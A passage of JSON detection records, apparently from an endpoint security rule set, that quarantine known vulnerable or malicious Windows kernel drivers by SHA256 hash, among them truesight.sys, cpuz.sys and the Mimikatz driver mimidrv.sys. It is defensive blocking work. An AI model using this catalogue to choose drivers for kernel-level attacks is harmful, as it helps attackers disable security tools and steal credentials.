+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "afad859b-ccaa-5da7-af56-cd0b67e64e0a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477637Z",
+  "creation_date": "2026-03-23T11:45:30.477640Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477649Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "07af8c5659ad293214364789df270c0e6d03d90f4f4495da76abc2d534c64d88",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "afb2121e-e12e-5702-ab1d-a9e9cfeba8c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481221Z",
+  "creation_date": "2026-03-23T11:45:30.481223Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481229Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2decc56788d257ce7f6b1915c90ea5a54fb5232f2bf9f311958de495a4eb308",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "afbba428-730f-543a-99d9-6da7af2060ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983508Z",
+  "creation_date": "2026-03-23T11:45:29.983510Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983516Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b583414fcee280128788f7b39451c511376fe821f455d4f3702795e96d560704",
+  "comment": "Vulnerable Kernel Driver (aka KfeCo10X64.sys) [https://www.loldrivers.io/drivers/3e0bf6dc-791b-4170-8c40-427e7299d93d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "afbc4def-affe-5dce-a46f-c422ef56df2a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979550Z",
+  "creation_date": "2026-03-23T11:45:29.979552Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979557Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "06c5ebd0371342d18bc81a96f5e5ce28de64101e3c2fd0161d0b54d8368d2f1f",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "afbfb572-15f3-5e1b-a2a7-b52448414d5f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830464Z",
+  "creation_date": "2026-03-23T11:45:31.830466Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830471Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9bf3fa1666670063f79fff789c55dcff9c6038f642b92f9fbc7ba53ba7460e21",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "afd1dc69-25f3-53ee-8ea4-fb89a1f5d027",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972950Z",
+  "creation_date": "2026-03-23T11:45:29.972954Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972960Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5cfad3d473961763306d72c12bd5ae14183a1a5778325c9acacca764b79ca185",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "afe33387-da13-5e84-9138-ea7fe3012183",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619609Z",
+  "creation_date": "2026-03-23T11:45:29.619614Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619619Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e53b58415fa68552928622118d5b8a3a851b2fc512709a90b63ba46acda8b6b",
+  "comment": "Vulnerable Kernel Driver (aka SysDrv3S.sys) [https://www.loldrivers.io/drivers/cf49f43c-d7b4-4c1a-a40d-1be36ea64bff/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "affbc424-49e7-558f-a44d-4257dd516943",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825989Z",
+  "creation_date": "2026-03-23T11:45:31.825992Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825997Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6661ef3ce558cbdf27a01a4a4a6084fc2401cf4c13ba8615ec4690538b332f09",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b003ff71-c6fd-507d-a73f-5f206ad1ee3a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156397Z",
+  "creation_date": "2026-03-23T11:45:31.156399Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156404Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f8c7f9b8f55ac4236e25f9bdf962f507c3cf2e7f2d57782e9c9a0ac88a60da3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b004ef32-a9f2-59b6-a0c7-5e340b6a1588",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480192Z",
+  "creation_date": "2026-03-23T11:45:30.480194Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480199Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "51145a3fa8258aac106f65f34159d23c54b48b6d54ec0421748b3939ab6778eb",
+  "comment": "Vulnerable Kernel Driver (aka GEDevDrvSYS.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b005447e-f821-5d64-89ef-549eba2844f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981349Z",
+  "creation_date": "2026-03-23T11:45:29.981351Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981356Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eba14a2b4cefd74edaf38d963775352dc3618977e30261aab52be682a76b536f",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b0278ac7-09f4-5351-8bc0-d7477acca052",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836397Z",
+  "creation_date": "2026-03-23T11:45:30.836399Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836404Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6af8011def8267140004e3d2f779544862127d3840aaf570026ee5c5418e62d2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b03e29a1-dcbb-51c2-a01f-057ae6db0957",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825220Z",
+  "creation_date": "2026-03-23T11:45:31.825224Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825232Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f307933a0d6a66dbf391be25208cdb286720ba443887f6d3d7abf3bbc494ebe1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b0416042-feaa-570d-9c09-c7629be61d3f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473815Z",
+  "creation_date": "2026-03-23T11:45:30.473818Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473826Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7f8cabb101d8ee0d76444fa4caa115b88b53ad8bd95516cae563bf92b910fa99",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b04aa3dd-d6e3-5388-8dc2-7572b5114c33",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160794Z",
+  "creation_date": "2026-03-23T11:45:31.160797Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160802Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0b09543f14f144b11c4628de5a69aef95d4fa2682759498bb7b267fde8edefb8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b04c601b-6a4b-5178-9a28-8ecde24948a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978207Z",
+  "creation_date": "2026-03-23T11:45:29.978210Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978218Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "640eeb3128ae5c353034ee29cb656d38c41353743396c1c936afd4d04a782087",
+  "comment": "Vulnerable Kernel Driver (aka t7.sys) [https://www.loldrivers.io/drivers/7196366e-04f0-4aaf-9184-ed0a0d21a75f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b0536d73-9dbf-558b-a122-7766f4723d25",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818736Z",
+  "creation_date": "2026-03-23T11:45:30.818738Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818744Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe9c104a3bb9184a8f792f3f8a3e90d83b9f19cf83cd93d116b02e17f54d727d",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b058cd85-82dd-5835-8c8c-472b01fcb7a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477035Z",
+  "creation_date": "2026-03-23T11:45:31.477039Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477049Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b1283f50cc1b7853ca7fdee3cd3c8b3d011ce3aabb4d6e83ec9217cfdbc322d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b069b788-316d-5ef6-b7b1-4a43387769be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151414Z",
+  "creation_date": "2026-03-23T11:45:31.151417Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151426Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b96332b61a4792bc73266b1e9f21fbef0bd0797a9fba283397285f5230028318",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b06dddd3-9b6d-5f0b-9ce6-0fe8c2ecb925",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468406Z",
+  "creation_date": "2026-03-23T11:45:30.468409Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468418Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5e1c7bdb1fa71145a0704a5f00d894043a7754cb82d1d8213cb6a899bd767cab",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b06fbcd9-6018-542a-87ce-52e97c712370",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817347Z",
+  "creation_date": "2026-03-23T11:45:30.817349Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817354Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42f468244050bafdcfc061c0eb468fd78267f93404b8703353d68fdca8b4355e",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b0895aeb-4d37-5818-9b8f-ca4f6ccf4c52",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486858Z",
+  "creation_date": "2026-03-23T11:45:31.486861Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486888Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a0ef83ed123736df20c481c60a146b1cd2d77aa208b3fd7afa97e473fd818307",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b0bac34d-09a7-5b2d-ba66-17b7e555e11d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
